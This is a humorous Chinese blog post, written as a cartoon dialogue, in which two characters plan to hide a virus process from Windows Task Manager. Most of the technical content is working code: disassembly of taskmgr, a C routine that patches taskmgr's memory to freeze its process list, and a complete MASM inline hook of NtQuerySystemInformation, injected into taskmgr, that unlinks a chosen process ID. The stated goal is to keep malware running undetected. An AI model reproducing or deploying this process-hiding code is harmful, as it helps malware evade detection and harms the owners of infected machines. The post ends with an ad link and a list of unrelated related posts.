Hook入门级文章,主要想培养一下偶写文章的感觉,老鸟无视…
我想看看技术文章能不能无厘头的写,如果效果不错的话,准备更上一层-----
用我的原创漫画表达。:)
 
(警告1:文章中有部分“限制级”词语,请11岁以下弟弟妹妹误入)
(警告2: 修正警告1,不是“误入”,是“勿入”哦,我没有做暗示哦…)

正义的hopy – 加菲

   邪恶的hopy – 阿宝

时间: 终结者2018年
场景: 地下泡泡澡堂
故事: 纯属虚构
 
在一场残酷的西红柿大战后,最终邪恶阿宝使用卑鄙无耻的招数轻松战胜了单纯
的加菲,于是哥俩一起去地下废墟澡堂泡澡。在沉默了一阵之后加菲忽然问了阿宝
一个恐怖的问题……
 
加菲:……你说我们俩身上的毛哪个值钱…
 
阿宝:%##$%@#$%#@%#@,你想钱想疯啦……
 
加菲:最近手头比较紧,有没有活接?
 
阿宝:嘿嘿……搞定一个任务,钞票大大滴。
 
加菲(口水状):什么呀?
 
阿宝:老比最近打麻将输我200多,赖账不肯还……
 
加菲:不会吧…人家是首富哦…
 
阿宝:没办法呀,windows赔老喽,我准备把他的命根子毁了……
 
加菲:你这个流氓,我不跟你玩了…
 
阿宝:什么啊!我指的是他的windows,你想哪去了…
 
加菲(迅速岔开话题):今天晚上太阳好亮哦…
 
阿宝(画外音):#@$%#@%,我们俩到底谁邪恶…
 
加菲:怎么毁呀?
 
阿宝:我搞了一个宇宙超级大病毒程序,只要运行30分钟保准他的命根子玩蛋!
只要30分钟内不被windows taskmgr发现…
 
加菲:你傻啊?人家不会用其他进程查看工具嘛?
 
阿宝:说你不懂了吧,老比乱搞垄断,windows和taskmgr捆死了,其他
进程工具没法运行呀,嘿嘿…自掘死路…
 
加菲:这还不简单,做个rootkit在内核层把病毒进程隐藏起来不就行了。
 
阿宝:进不去RING0,只能在用户层搞……,有没有其他办法…
 
加菲:你超级病毒都能写出来,这个不会写?????
 
阿宝(-_-b):少废话,你要不要钞票了…
 
加菲:这个…
 
一炷香的功夫过去了…
 
阿宝:你到底想好了没啊?
 
加菲:taskmgr显示进程信息的控件是SysListView32,我想可以截获显示每一行
的消息,然后忽略显示病毒进程的那一条消息…
 
阿宝:好啊…做一个dll植入taskmgr,然后SysListView32子类化到dll中的一个
消息处理函数,过滤特定进程的消息…
 
加菲:没成功…可以截获和过滤消息,但显示老是会多出来一行…(可能是我
实现方法有问题,请看我以前发布的程序)
 
阿宝:那怎么办啊?
 
加菲:要不然这样,做一个进程文本修改器,类似游戏修改器中的自动修改变量,
只不过这个变量是一个进程名,只要找到病毒进程名字的文本,就将成其他混淆视
听的名字(svchost.exe)。
 
阿宝:8错,查找时要注意同时修改UNICODE的字符串哦…
 
加菲:成功了,因为两个进程同时要写一个内容,所以极少数时间里可能会造成
病毒进程名漏出马脚…
 
阿宝:嗯…病毒名有时会闪一下…进程数还是增加了…能不能干脆彻底删除这个
进程名而不是将其改成其他名字呢?
 
加菲:这个…
 
阿宝(舔和路雪冰淇淋):搞得怎么样了,有什么新花样呢?
 
加菲:如果你的超级病毒运行之后,就不准taskmgr 运行起来,如果已经运行起来
就将其关掉…
 
阿宝:这个不行,太招人显眼了…
 
加菲:把taskmgr僵掉…
 
阿宝:你以为你是林正英啊???怎么僵呢???
 
加菲:我刚才没事用IDA玩了一下taskmgr的body,发现一个好玩的
UpdateProcInfoArray过程哦,上代码(省略无关部分):

代码:
public: long __thiscall CProcPage::UpdateProcInfoArray(void) proc nearmov     eax, dword_1016580.text:0100CAD5                 shr     eax, 0Ah.text:0100CAD8                 mov     ecx, eax.text:0100CADA                 imul    ecx, [ebp+var_1FC].text:0100CAE1                 mov     [ebp+var_88], ecx.text:0100CAE7                 mov     ecx, eax.text:0100CAE9                 imul    ecx, [ebp+var_1F8].text:0100CAF0                 mov     edx, eax.text:0100CAF2                 imul    edx, [ebp+var_1F0].text:0100CAF9                 mov     [ebp+var_74], ecx.text:0100CAFC                 mov     ecx, eax.text:0100CAFE                 imul    ecx, [ebp+var_1F4].text:0100CB05                 mov     [ebp+var_6C], edx.text:0100CB08                 mov     edx, eax.text:0100CB0A                 imul    eax, [ebp+var_1B4].text:0100CB11                 imul    edx, [ebp+var_1B8].text:0100CB18                 mov     [ebp+var_7C], eax.text:0100CB1B                 add     eax, edx.text:0100CB1D                 push    edi.text:0100CB1E                 mov     [ebp+var_78], eax.text:0100CB21                 push    24h.text:0100CB23                 lea     eax, [ebp+var_F0].text:0100CB29                 push    eax.text:0100CB2A                 push    15h.text:0100CB2C                 mov     [ebp+var_70], ecx.text:0100CB2F                 mov     [ebp+var_80], edx.text:0100CB32                 mov     __int64 g_MEMMax, ecx.text:0100CB38                 mov     dword_1016564, edi.text:0100CB3E                 call    esi ; NtQuerySystemInformation(x,x,x,x).text:0100CB40                 test    eax, eax.text:0100CB42                 jge     short loc_100CB4E.text:0100CB42.text:0100CB44.text:0100CB44 loc_100CB44:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+4Bj.text:0100CB44                                         ; CProcPage::UpdateProcInfoArray(void)+7Aj.text:0100CB44                 mov     eax, 80004005h.text:0100CB49                 jmp     loc_100CE7E.text:0100CB49.text:0100CB4E ; ---------------------------------------------------------------------------.text:0100CB4E.text:0100CB4E loc_100CB4E:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+EEj.text:0100CB4E                 mov     eax, dword_1016580.text:0100CB53                 shr     eax, 0Ah.text:0100CB56                 imul    eax, [ebp+var_DC].text:0100CB5D                 mov     ecx, ebx.text:0100CB5F                 mov     [ebp+var_84], eax.text:0100CB65                 call    CProcPage::GetProcessInfo(void).text:0100CB65.text:0100CB6A                 cmp     eax, edi.text:0100CB6C                 mov     [ebp+var_58], eax.text:0100CB6F                 jl      loc_100CE64.text:0100CB6F.text:0100CB75                 mov     [ebp+var_48], edi.text:0100CB75.text:0100CB78.text:0100CB78 loc_100CB78:                            ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+1EEj.text:0100CB78                 mov     esi, [ebx+10h].text:0100CB7B                 add     esi, [ebp+var_48].text:0100CB7E                 mov     eax, [esi+44h].text:0100CB81                 cmp     eax, edi.text:0100CB83                 jnz     short loc_100CB8E.text:0100CB83.text:0100CB85                 cmp     [esi+4], edi.text:0100CB88                 jz      loc_100CC1D

加菲:注意 call CProcPage::GetProcessInfo(void) 这一行,进去看看:

代码:
public: long __thiscall CProcPage::GetProcessInfo(void) proc near.text:0100A6AF                                         ; CODE XREF: CProcPage::UpdateProcInfoArray(void)+111p.text:0100A6AF.text:0100A6AF var_4           = dword ptr -4.text:0100A6AF.text:0100A6AF                 mov     edi, edi.text:0100A6B1                 push    ebp.text:0100A6B2                 mov     ebp, esp.text:0100A6B4                 push    ecx.text:0100A6B5                 push    ebx.text:0100A6B6                 push    esi.text:0100A6B7                 xor     ebx, ebx.text:0100A6B9                 push    edi.text:0100A6BA                 mov     edi, ds:GetProcessHeap().text:0100A6C0                 mov     esi, ecx.text:0100A6C2                 mov     [ebp+var_4], ebx.text:0100A6C2.text:0100A6C5.text:0100A6C5 loc_100A6C5:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+63j.text:0100A6C5                 mov     eax, [esi+10h].text:0100A6C8                 cmp     eax, ebx.text:0100A6CA                 jz      short loc_100A6F9.text:0100A6CA.text:0100A6CC                 push    ebx.text:0100A6CD                 push    dword ptr [esi+14h].text:0100A6D0                 push    eax.text:0100A6D1                 push    5.text:0100A6D3                 call    ds:NtQuerySystemInformation(x,x,x,x).text:0100A6D9                 cmp     eax, ebx.text:0100A6DB                 jge     short loc_100A71B.text:0100A6DB.text:0100A6DD                 cmp     eax, 0C0000004h.text:0100A6E2                 jnz     short loc_100A723.text:0100A6E2.text:0100A6E4                 mov     eax, [esi+10h].text:0100A6E7                 cmp     eax, ebx.text:0100A6E9                 jz      short loc_100A6F9.text:0100A6E9.text:0100A6EB                 push    eax             ; lpMem.text:0100A6EC                 push    ebx             ; dwFlags.text:0100A6ED                 call    edi ; GetProcessHeap().text:0100A6EF                 push    eax             ; hHeap.text:0100A6F0                 call    ds:HeapFree(x,x,x).text:0100A6F6                 mov     [esi+10h], ebx.text:0100A6F6.text:0100A6F9.text:0100A6F9 loc_100A6F9:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+1Bj.text:0100A6F9                                         ; CProcPage::GetProcessInfo(void)+3Aj.text:0100A6F9                 add     dword ptr [esi+14h], 1000h.text:0100A700                 push    dword ptr [esi+14h] ; dwBytes.text:0100A703                 push    ebx             ; dwFlags.text:0100A704                 call    edi ; GetProcessHeap().text:0100A706                 push    eax             ; hHeap.text:0100A707                 call    ds:HeapAlloc(x,x,x).text:0100A70D                 cmp     eax, ebx.text:0100A70F                 mov     [esi+10h], eax.text:0100A712                 jnz     short loc_100A6C5.text:0100A712.text:0100A714                 mov     [ebp+var_4], 8007000Eh.text:0100A714.text:0100A71B.text:0100A71B loc_100A71B:                            ; CODE XREF: CProcPage::GetProcessInfo(void)+2Cj.text:0100A71B                                         ; CProcPage::GetProcessInfo(void)+7Bj.text:0100A71B                 mov     eax, [ebp+var_4].text:0100A71E                 pop     edi.text:0100A71F                 pop     esi.text:0100A720                 pop     ebx.text:0100A721                 leave.text:0100A722                 retn 

阿宝:喔欧...(移动广告:3G时代...就说喔欧),这个比较明显了,里面调用
了原生态API NtQuerySystemInformation(x,x,x,x)...
 
 
加菲:下面偶来写一个过程让taskmgr僵住:

代码:
#define MAGIC_ADDR 0x100cb65static const byte VerFlag[] = {0xe8,0x45,0xdb,0xff,0xff};bool stoptm(DWORD pid){ bool bSuccess = false; HANDLE ph = 0;  if(!pid) {  puts("taskmgr not run!");  goto QUIT; }  ph = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if(!ph) {  puts("can't open taskmgr!");  goto QUIT; }  byte fixbin[sizeof(VerFlag)]; if(!ReadProcessMemory(ph,(LPCVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) {  puts("read mem failed!");  goto QUIT; }  if(memcmp(VerFlag,fixbin,sizeof(fixbin))) {  puts("taskmgr isn't right ver!");  goto QUIT; }  memset(fixbin,0x90,sizeof(fixbin)); if(!WriteProcessMemory(ph,(LPVOID)MAGIC_ADDR,fixbin,sizeof(fixbin),NULL)) {  puts("write mem failed!");  goto QUIT; }  bSuccess = true;QUIT: if(ph)  CloseHandle(ph); return bSuccess;}

阿宝:我好像能看懂了,将对应的调用语句NOP掉,从而taskmgr无法再刷新
进程列表了...但这个不能对应不同版本的taskmgr吧?
 
加菲:这个...那是当然...
 
阿宝:你能不能给我个最终解决办法啊...
 
加菲:没办法了...只有用各个版本通杀技了,HOOk NtQuerySystemInformation , 
然后改变其返回内容。要注意的是我们只需要HOOK 第一个参数为5的调用,
即Query系统进程信息,其他都不用理会。NtQuerySystemInformation 
获取进程信息如果成功,将会返回一个数组,或者称其为一个链表更准确。结构如下:

代码:
typedef struct _SYSTEM_PROCESSES{ULONG     NextEntryDelta;     //构成结构序列的偏移量;ULONG     ThreadCount;       //线程数目;ULONG     Reserved1[6];     LARGE_INTEGER CreateTime;       //创建时间;LARGE_INTEGER UserTime;        //用户模式(Ring 3)的CPU时间;LARGE_INTEGER KernelTime;       //内核模式(Ring 0)的CPU时间;UNICODE_STRING ProcessName;       //进程名称;KPRIORITY   BasePriority;      //进程优先权;ULONG     ProcessId;       //进程标识符;ULONG     InheritedFromProcessId; //父进程的标识符;ULONG     HandleCount;       //句柄数目;ULONG     Reserved2[2];VM_COUNTERS  VmCounters;       //虚拟存储器的结构,见下;IO_COUNTERS  IoCounters;       //IO计数结构,见下;SYSTEM_THREADS Threads[1];       //进程相关线程的结构数组,见下;}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES; 

加菲:我要做的只是在链表中查找需要隐藏进程的ID,然后将其剔除即可。
 
阿宝:怎么剔除呢?
 
加菲:分2种情况,若PID出现在链表的的尾部则直接将上一个链表指向NULL,
否则需要将上一个结构的指针指向PID结构后面一个结构,从而将其剔除,完整代码如下:

代码:
.386.model flat, stdcalloption casemap:none.nocref.nolistinclude  D:/work/masm32/include/windows.incinclude  D:/work/masm32/include/user32.incinclude  D:/work/masm32/include/kernel32.inc.list.listmacro.listmacroallIFNDEF UNICODE_STRING UNICODE_STRING struct  _Length  WORD ?  MaximumLength WORD ?  Buffer  PWSTR ? UNICODE_STRING ends PUNICODE_STRING typedef ptr UNICODE_STRINGENDIFSPI struct NextOffset DWORD ?   DWORD ? Times  QWORD 6 dup(?) ImageName UNICODE_STRING <?>   DWORD ? ProcessId DWORD ? Reserved DWORD 7 dup(?)SPI endsPSPI typedef ptr SPI  .constszDll  db "ntdll.dll",0szQSI_func db "NtQuerySystemInformation",0  .code;**********************************************************RT_BIN_START equ $ PID  DWORD ? ;要隐藏进程的pid pQSI_func DWORD ? pQSI_Next DWORD ? pBuf  DWORD ? pRetAddr DWORD ? pPreviousSPI PSPI 0 dwEBX  DWORD ? ;ORGBIN  byte 5 dup(?) FIXBIN  byte 5 dup(?)RT_CODE_OFFSET equ $ - RT_BIN_STARTlen0 textequ %RT_CODE_OFFSET% echo RT_CODE_OFFSET is len0;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++myQSI_func proc mov ecx,ebx call @F@@: pop ebx sub ebx,offset @B jmp DOITGoMaMa: mov eax,dword ptr [esp] mov dword ptr [esp + 4],eax pop eax ORGBIN byte 5 dup(?) jmp [ebx + pQSI_Next]DOIT: mov dword ptr [ebx + dwEBX],ecx mov dword ptr [ebx + pBuf],0 push dword ptr [esp] pop dword ptr [ebx + pRetAddr] .if dword ptr [esp + 4] == 5  push dword ptr [esp+8]  pop dword ptr [ebx + pBuf] .endif  call GoMaMa ;调用原始QSI成功且是获取SPIs的调用 .if eax == 0 && dword ptr [ebx + pBuf] != 0  assume eax:PSPI  mov ecx,dword ptr [ebx + PID]  mov eax,dword ptr [ebx + pBuf]  .while TRUE   .if [eax].ProcessId == ecx    .if [eax].NextOffset == 0     mov eax,[ebx + pPreviousSPI]     mov [eax].NextOffset,0    .else     mov ecx,[eax].NextOffset     mov eax,[ebx + pPreviousSPI]     add ecx,[eax].NextOffset     mov [eax].NextOffset,ecx    .endif    .break   .endif   .break .if [eax].NextOffset == 0   push eax   pop dword ptr [ebx + pPreviousSPI]   add eax,[eax].NextOffset  .endw  assume eax:nothing .endif  mov ecx,ebx mov ebx,[ebx + dwEBX] jmp [ecx + pRetAddr] ;retmyQSI_func endp;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++RT_BIN_END equ $RT_BIN_LEN equ RT_BIN_END - RT_BIN_STARTT_BIN_LEN textequ %RT_BIN_LEN% echo RT_BIN_LEN is T_BIN_LEN;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++hookQSIfunc proc C uses ebx edi esi ph:HANDLE,pid:DWORD local bSuccess,pRTBin,oldProtect  mov bSuccess,FALSE .if pid == 0  jmp QUIT .endif invoke VirtualProtect,offset RT_BIN_START,/  T_BIN_LEN,PAGE_EXECUTE_READWRITE,/  addr oldProtect .if !eax  jmp QUIT .endif invoke LoadLibrary,addr szDll invoke GetProcAddress,eax,addr szQSI_func .if !eax  jmp QUIT .endif mov pQSI_func,eax  invoke VirtualAllocEx,ph,NULL,T_BIN_LEN,/  MEM_COMMIT,PAGE_EXECUTE_READWRITE .if !eax  jmp QUIT .endif mov pRTBin,eax  invoke ReadProcessMemory,ph,pQSI_func,/  addr ORGBIN,5,NULL .if !eax  jmp QUIT .endif mov eax,pRTBin add eax,RT_CODE_OFFSET sub eax,pQSI_func sub eax,5 mov byte ptr [FIXBIN],0E9h mov dword ptr [FIXBIN+1],eax  mov eax,pQSI_func add eax,5 mov pQSI_Next,eax push pid pop PID invoke WriteProcessMemory,ph,pRTBin,/  offset RT_BIN_START,T_BIN_LEN,NULL .if !eax  jmp QUIT .endif invoke WriteProcessMemory,ph,pQSI_func,/  addr FIXBIN,5,NULL .if !eax  jmp QUIT .endif  mov bSuccess,TRUEQUIT: .if pRTBin  ;invoke VirtualFreeEx,ph,pRTBin,/   ;T_BIN_LEN,MEM_RELEASE .endif mov eax,bSuccess rethookQSIfunc endp;********************************************************** end

阿宝:你好像是HOOK之后,直接将以上代码拷贝到taskmgr.exe进程空间中,
等待其自动调用,是吗?
 
加菲:没错,拷贝功能的函数即是hookQSIfunc,当然这要首先保证taskmgr在运行:

代码:
//检查taskmgr.exe当前是否在运行DWORD findtm(void){ DWORD pid = 0;  PROCESSENTRY32 process = {.dwSize=sizeof(PROCESSENTRY32)}; HANDLE hss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); Process32First(hss,&process); while(Process32Next(hss,&process)) {  if(!strcmp(process.szExeFile,"taskmgr.exe"))  {   pid = process.th32ProcessID;   break;  } }  CloseHandle(hss); return pid;}

阿宝(暗笑):是这样啊...嘿嘿
 
加菲(聚精会神地):这样一来无论哪个版本的taskmgr,只要获取机制没有变,
都可以搞定了,呵呵...终于搞定了...那个报酬怎么算...(回头),人呢???

阿宝(全裸速逃中...)

加菲:阿宝,你竟然敢欺骗偶的感情....

愤怒的加菲制造了N个加菲猫终结者T1300型追杀阿宝,至于阿宝能否逃脱,

这是另一个故事了哦。

(PS1:使用了电影分镜头剧本结构,适合改编为cartoon或flash之类的咚咚,结尾不是很好,修改中)

(PS2: 场景的选择是从刚看完的终结者2018获得的。)

再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

原创 和Taskmgr过不去篇(无厘头版)相关推荐

  1. python原创第十四篇~判断,循环实战训练+答案

    2017-12-07 09:23:55 December Thursday the 49 week, the 341 day #原创第十四篇~判断,循环实战训练 题目:一个整数,它加上100后是一个完 ...

  2. 如何用费米思维解决无厘头问题

    " 上一篇文章给大家总体介绍了数据分析面试常考的几类问题,从这篇文章开始,我们就针对一些高频考题进行详细讲解.今天给大家带来的是,如何巧解费米问题" 一.什么是费米问题 在数据分析 ...

  3. 无厘头的mysql故障排除

    公司网站已经趋于正常,作为系统管理员终于可以暂时的舒一口气.在继续持续关注服务器管理与优化的同时,可以有时间停下来回顾,总结,为不断的提高积蓄能量.         先说一个让我哭笑不得的mysql故 ...

  4. 漫谈惯性、视觉暂留、潜意识、混合动力发动机、先入为主 - 纯粹的无厘头?...

    漫谈惯性.视觉暂留.潜意识.混合动力发动机.先入为主 - 纯粹的无厘头? 太阳火神的漂亮人生 (http://blog.csdn.net/opengl_es) 本文遵循"署名-非商业用途-保 ...

  5. Java泛型进阶篇: 无界通配符、上界通配符以及下界通配符

    专栏文章导航 Java泛型入门篇: 泛型类.泛型接口以及泛型方法 Java泛型进阶篇: 无界通配符.上界通配符以及下界通配符 Java泛型原理篇: 类型擦除以及桥接方法 文章目录 前言 1. 无界通配 ...

  6. 客户一个无厘头的BUG ,让我的青春痘炸了2颗

    本文预计阅读时间需要"3"分钟 今日关键词:奇葩缺陷 01 Show Time & 引言的没有 ,进行进入主题:插一句,作为从业互联网事业的测试这个重要岗位来说, 身为测试 ...

  7. electron内核版本引起的 笔记本And台式电脑的视图兼容性问题(不是浏览器兼容),全网首例!无厘头的问题

    事故出在electron +vue 的一个桌面应用上. 主视图是vue + video.js写的一个播放界面. 其他功能就不多赘述了. 有一个功能,是一个拉伸视频的宽高比例,左右上下的偏移的 < ...

  8. 区块链手机密集发布,又是一场无厘头的炒作?

    区块链的话题近年来一向很火,不仅因为比特币价格的飙升,更重要的是,越来越多人正在挖掘区块链所带来的商业机会,比如那个非常著名的"3点钟无眠区块链",而最近,一些手机厂商也将目光聚焦 ...

  9. 脑洞清奇AI君,给小猫咪们起了8000多个无厘头名字丨Colab Demo可用

    郭一璞 发自 首都机场  量子位 报道 | 公众号 QbitAI "我是一只小猫咪,我的名字叫暗之罗密欧(Romeo of Darkness)." 要是给你家主子叫这个名,它一定会 ...

  10. steam 经典 android,一人历时6年开发,这款steam特别好评的无厘头游戏终于移植安卓了……...

    原标题:一人历时6年开发,这款steam特别好评的无厘头游戏终于移植安卓了-- 姬友们爱吃甜甜圈吗? 虽然热量很高,但是那该死的甜美哪个吃货能挡呀-- 可惜手谈姬只会吃,而开发者Ben Esposit ...

最新文章

  1. 几种常见的用于拟合的分布
  2. python 设置横坐标刻度_python 双误差棒(上下误差棒)主刻度 副刻度
  3. dynamic和匿名对象
  4. android 设置对话框的高度,如何控制Android中默认警报对话框的宽度和高度?
  5. 如何用U盘之家U盘启动盘制作工具实现U盘装系统
  6. Android studio下载安装使用遇到的问题及解决办法
  7. 小程序执行运行过程原理_分享 | 还在焦虑等成绩?成绩小助手了解下
  8. bat(续六)-windows批处理set命令
  9. “阿里离职女高管”蹭马云热度遭阿里高管打假:重新定义高管
  10. 【机器学习】Andrew Ng——02单变量线性回归
  11. operator() error
  12. 数据库,规则库和知识库的比较
  13. STC学习:定时器和中断
  14. IEEE802.5 令牌环网
  15. SYN FLOOD攻击防范
  16. Golang bytes源码分析
  17. jsp页面几秒后自动跳转或者刷新
  18. linux查看文件系统是否是只读,Linux 文件系统只读问题分析指引
  19. RK3588 RK628D调试HDMI-IN(一)
  20. 局域网(以太网和IEEE 802.11,VLAN)

热门文章

  1. C++判断输入内容是否为整数
  2. HDU6638 Snowy Smile
  3. 图数据挖掘--六度分隔
  4. 30岁张一鸣创业成功秘密武器,OKR“失控”管理法
  5. 比尔·盖茨持有过的中国股票
  6. 基于eclipse+swing+mysql的汽车保养记录系统的开发1-----登录界面的实现
  7. 来自一枚初生牛犊不怕虎的小菜鸟的Mock.js使用,不足之处欢迎读者的指出 谢谢...
  8. 读取工程下的文档 统计重复的姓名 并按次数排序 java_当多个节点有相同名字但是内容不同的时候,生成的类名是相同的,导致导入项目中的时候不好识别。...
  9. 保险与赌博的差异,航延险是赌博吗?
  10. 而立之年,路漫漫,修其强大